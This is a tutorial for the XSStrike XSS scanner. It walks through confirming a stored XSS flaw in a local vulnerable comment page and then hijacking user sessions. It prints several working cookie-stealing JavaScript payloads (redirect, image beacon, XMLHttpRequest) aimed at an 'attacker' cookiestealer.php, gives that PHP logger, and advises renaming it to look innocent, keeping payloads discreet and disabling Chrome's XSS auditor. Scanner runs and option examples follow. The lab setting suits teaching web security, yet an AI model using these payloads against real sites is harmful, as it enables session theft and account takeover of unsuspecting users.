XSStrike Usage Example (v3.x)

Last Release: 12/19/2019     Last Commit: 03/20/2022

XSStrike Usage Example (v3.x)

Introduction

Cross-site scriptiong (XSS) is a code injection attack that allows an attacker to execute malicious JavaScript on another user’s browser. As a consequence, attaker can perform a number of attacks:

  • Cookie theft: Stealing cookies/sessions (SessionID).
  • Keylogging: Setting up a keyboard event listener (addEventListener) and then send all of the user’s keystrokes to his own server, potentially recording sensitive information such as passwords and credit card numbers.
  • Phishing: Inserting fake login forms into the page via DOM manipulation and his own server (attacker) to trick users into submitting sensitive information.

For more details on the tool or XSS in general check:

Stealing Session Cookies with XSStrike (Raw Example)

We’ll use simple & vulnerable comment system on our localhost to provide full example of finding vulnerability (with XSStrike) and stealing the user session (some custom cookiestealer). We’ll try to do things manualy (without additional tools like burp), relying on curl, browser developer tools and similar.

XSStrike Usage Example index
XSStrike Usage Example Comments

Since our custom/vulnerable comment system lies behind authentication, we need to fetch some cookies that we’ll later include in XSStrike header. You can do that with wget, Developer tools or via some other means:

$ wget --keep-session-cookies --save-cookies cookies.txt --post-data 'login=true&username=admin&password=theone' http://localhost/cyberpunk/

Check saved cookies:

$ cat cookies.txt

# HTTP cookie file.
# Generated by Wget on 2018-12-05 13:57:59.
# Edit at your own risk.

localhost FALSE / FALSE 0 PHPSESSID 4459ggkrmnlcafa7s2pkir7bu2

We can use that cookie to confirm if everything works as it supposed to:

$ curl --cookie cookies.txt "localhost/cyberpunk/" --verbose

...
<div class = "container">
CURRENTLY LOGGED IN: admin <br/><br/>
<a href = "xss_comments/index.php">XSS Comment example </a>
<br/><br/>
Click here to <a href = "logout.php" tite = "Logout">Logout.</a>
</div>

</body>
</html>

In the source code we can see “CURRENTLY LOGGED IN: admin” part, so everything looks fine. To continue with our target “localhost/cyberpunk/xss_comments/”, grab the header for later XSStruke usage:

$ curl --cookie cookies.txt "localhost/cyberpunk/xss_comments/" --head --verbose

* Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to localhost (127.0.0.1) port 80 (#0)
> GET /cyberpunk/xss_comments/ HTTP/1.1
> Host: localhost
> User-Agent: curl/7.58.0
> Accept: */*
> Cookie: PHPSESSID=oni1joo2krmkkh38kioimf46d2

So, we have everything we need to proceed with XSStrike scan:

$ python3 xsstrike.py -u "http://localhost/cyberpunk/xss_comments/" --data "submit=ada&txt=query" --headers

When XSStrike asks for header details, paste:

GET /cyberpunk/xss_comments/ HTTP/1.1
Host: localhost
User-Agent: curl/7.58.0
Accept: */*
Cookie: PHPSESSID=4459ggkrmnlcafa7s2pkir7bu2

The result:

XSStrike v3.1.1

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: submit
[-] No reflection found
[!] Testing parameter: txt
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3092
------------------------------------------------------------
[+] Payload: ><HtMl%09onMOUseovEr%09=%09(confirm)()>
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] N

Seem ok, some vulnerability is found, but this implicit payload/vulnerability test is maybe too agresive for our taste, too much noise on the site (with this Stored XSS). The “<HtMl onMOUseovEr = (confirm)()>” payload inserted into the comments prompts a confirm dialog box to all other users. We should always try and be as discreet as possible, so you might want to try a custom payload. Generate some file with payload in each line. Include that file in the call:

$ python3 xsstrike.py -u "http://localhost/cyberpunk/xss_comments/" --data "submit=ada&txt=query" --headers -f ./custom_payload.txt

XSStrike v3.1.1

[+] cyb3rpunk greeting [txt]: 1/22/2
[+] B166ER reporting [txt]: 2/2

in case custom payload fails, you’ll end up with:

[~] cyb3rpunk greeting [txt]: 1/11/1

In any case, vulnerability is confirmed, and we can proceed with the next step, stealing the session. The idea, insert some JS code to send document.cookies to attacker. For e.g.:

<script>document.location='http://localhost/attacker/cookiestealer.php?c='+document.cookie;</script>

with cookiestealer.php content:

<?php
     header ('Location:https://google.com');
     $cookies = $_GET["c"];
     $file = fopen('log.txt', 'a');
     fwrite($file, $cookies . "\n\n");
?>

Although it works (log.txt ends up with PHPSESSID=eabq4idv0qct7j3i62dqnr3rdp), it’s also aggresive, completely redirecting users to attacker page, which then again redirects to google.com. Users will definitely know something is wrong.  We need something to send cookies/session without redirection, and there are many ways to do this. Few raw JS examples:

<script> document.write('<img src="http://localhost/attacker/cookiestealer.php?c=' + document.cookie + '" />') </script>Hello from CyberPunk Team..
or :
<script> var req = new XMLHttpRequest(); req.open("GET", "http://localhost/attacker/cookiestealer.php?c="+document.cookie); req.send();</script>Hello from CyberPunk Team..

For the first one you should adjust cookiestealer to provide image, maybe even renaming the obvious “cookiestealer.php” to something less suspicious like “imgprovider.php”. Sending an image from php:

$name = './cyberpunk_logo.png';
$fp = fopen($name, 'rb');

header("Content-Type: image/png");
header("Content-Length: " . filesize($name));
fpassthru($fp);

XSStrike Usage Example Result

Note: When imputing malicious XSS code, we had some problems with Chrome (with ERR_BLOCKED_BY_XSS_AUDITOR). Although it works, input gets through, you could circumvent by running chrome without xss auditor:

chrome --disable-xss-auditor

Or you can use Firefox/Mozilla, it doesn’t interfere.

Scan a single URL

Test a single webpage.

Get request:

$ python3 xsstrike.py -u "https://public-firing-range.appspot.com/reflected/parameter/body?q=a"

XSStrike v3.1.1

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: q
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <D3v%0aOnMouseoVER%0d=%0d(prompt)``%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] N

Post request:

$ python3 xsstrike.py -u "https://public-firing-range.appspot.com/reflected/parameter/form" --data "q="

XSStrike v3.1.1

[~] Checking for DOM vulnerabilities
[+] WAF Status: Offline
[!] Testing parameter: q
[!] Reflections found: 1
[~] Analysing reflections
[~] Generating payloads
[!] Payloads generated: 3072
------------------------------------------------------------
[+] Payload: <a%0aOnpOINTerentEr%09=%09[8].find(confirm)%0dx>v3dm0s
[!] Efficiency: 100
[!] Confidence: 10
[?] Would you like to continue scanning? [y/N] Y

Crawling

Start crawling from the target webpage for targets and test them. Option: -l (default: 2)

$ python3 xsstrike.py -u "http://public-firing-range.appspot.com/reflected/" --crawl -v -l 10

[~] Crawling the target
http
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/escapedparameter/js_eventhandler_unquoted/UNQUOTED_ATTRIBUTE
[+] Vector for q: /+/auTOfOcuS/+/OnFoCUs=(confirm)()
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/textarea_attribute_value
[+] Vector for q: '></textarea/><hTmL%0doNmouseoVer+=+[8].find(confirm)//
[+] Potentially vulnerable objects found at http://public-firing-range.appspot.com/reflected/
------------------------------------------------------------
189 Pipes the parameter into an eval, i.e. eval(%q);
------------------------------------------------------------
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/style_attribute_value
[+] Vector for q: '></style/><DetAIlS%09ONToGGLe%0a=%0aa=prompt,a()>
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/css_style_value
[+] Vector for q: </STYLe/><hTml/+/OnMOuseover%0a=%0aconfirm()>
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/iframe_attribute_value
[+] Vector for q: '><htML/+/OnMOuSeOVEr%0d=%0dconfirm()%0dx>
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/tagname
[+] Vector for q: ><A%0aoNmOUsEOvEr%0d=%0dconfirm()%0dx>v3dm0s
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/css_style_font_value
[+] Vector for q: </STYLe/><htMl%09ONMoUSEOvER%0d=%0d(prompt)``>
[+] Potentially vulnerable objects found at http://public-firing-range.appspot.com/reflected/parameter/js_eval?q=a
------------------------------------------------------------
3 <script>eval("a");</script>
------------------------------------------------------------
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/title
[+] Vector for q: </titLe/><hTml%0aOnMOuSEOvER%09=%09(prompt)``%0dx//
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/attribute_unquoted
[+] Vector for q: ><d3v/+/ONmouSeoVer%0a=%0aconfirm()%0dx>v3dm0s
...
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/head
[+] Vector for q: <d3V%0doNPOiNTeReNTEr%0a=%0aconfirm()>v3dm0s
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/iframe_srcdoc
[+] Vector for q: %26lt;hTml%0aONmOUseoveR%0d=%0dconfirm()%26gt;
[+] Vulnerable webpage: http://public-firing-range.appspot.com/reflected/parameter/textarea
[+] Vector for q: </TEXtaREa/><A%09ONpoINTEreNtEr%0d=%0d(confirm)()>v3dm0s
[!] Progress: 96/96

If you want to test URLs from a file or just simply want to add seeds for crawling, you can use the --seeds option.

python xsstrike.py --seeds urls.txt

or

python xsstrike.py -u "http://example.com" -l 3 --seeds urls.txt

Timeout

Option: --timeout | Default: 7

It is possible to specify a number of seconds to wait before considering the HTTP(S) request timed out.

python xsstrike.py -u "http://example.com/page.php?q=query" --timeout=4

Delay

Option: -d or --delay | Default: 0

It is possible to specify a number of seconds to hold between each HTTP(S) request. The valid value is a int, for instance 1 means a second.

python xsstrike.py -u "http://example.com/page.php?q=query" -d 2

Payload Encoding

Option: -e or --encode

XSStrike can encode payloads on demand. Following encodings are supported as of now:

  • base64

python xsstrike.py -u "http://example.com/page.php?q=query" -e base64

Bruteforce payloads from a file

Option: -f or --file. You can load payloads from a file and check if they work. XSStrike will not perform any analysis in this mode.

python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt

Using default as file path with load XSStrike’s default payloads.

Blind XSS

Option: --blind

Using this option while crawling will make XSStrike inject your blind XSS payload defined in core/config.py to be injected to every parameter of every HTML form.

python xsstrike.py -u http://example.com/page.php?q=query --crawl --blind

Supplying HTTP headers

Option: --headers

This option will open your text editor (default is ‘nano’) and you can simply paste your HTTP headers and press Ctrl + S to save.

Host: <domain>
Accept: text/html,apllication/xhtml+xml,application/xml;q=0.9...
...

Fuzzing

Option: --fuzzer

The fuzzer is meant to test filters and Web Application Firewalls. It is painfully slow because it sends randomly* delay requests and the delay can be up to 30 seconds. To minimize the delay, set the delay to 1 second by using the -d option.

python xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer


Using proxies

Option: --proxy | Default 0.0.0.0:8080

You have to set up your prox(y|ies) in core/config.py and then you can use the --proxy switch to use them whenever you want.
More information on setting up proxies can be found here.

python xsstrike.py -u "http://example.com/search.php?q=query" --proxy


Find hidden HTTP parameters

Option: --params

Find hidden parameters by parsing HTML & bruteforcing.

python xsstrike.py -u "http://example.com/page.php" --params


Verbose Output

Option: -v or --verbose

It is possible to make XSStrike output more information about what’s happening under the hood by using -v option as follows:

python xsstrike.py -u "http://example.com/search.php?q=query" -v


Skip confirmation prompt

Option: --skip

If you want XSStrike to continue the scan if a working payload found without asking you if you want to continue scanning then you can use this option. It will skip POC generation as well.

python xsstrike.py -u "http://example.com/search.php?q=query" --skip


Skip DOM scanning

Option: --skip-dom

You may want to skip DOM XSS scanning while crawling to save you time.

python xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom


Update

Option: --update

If this option is enabled, XSStrike will check for updates. If a newer version will available, XSStrike will download and merge the updates into the current directory without overwriting other files.

python xsstrike.py --update

Conclusion

It’s “rarely” that simple/straightforward in the real life, but it does happen (maybe more often then we’re willing to admit). When developing your website/service, mind your steps, sanitize input/output, encode, be careful not to expose things to such attacks.

Documentation Box
Download Box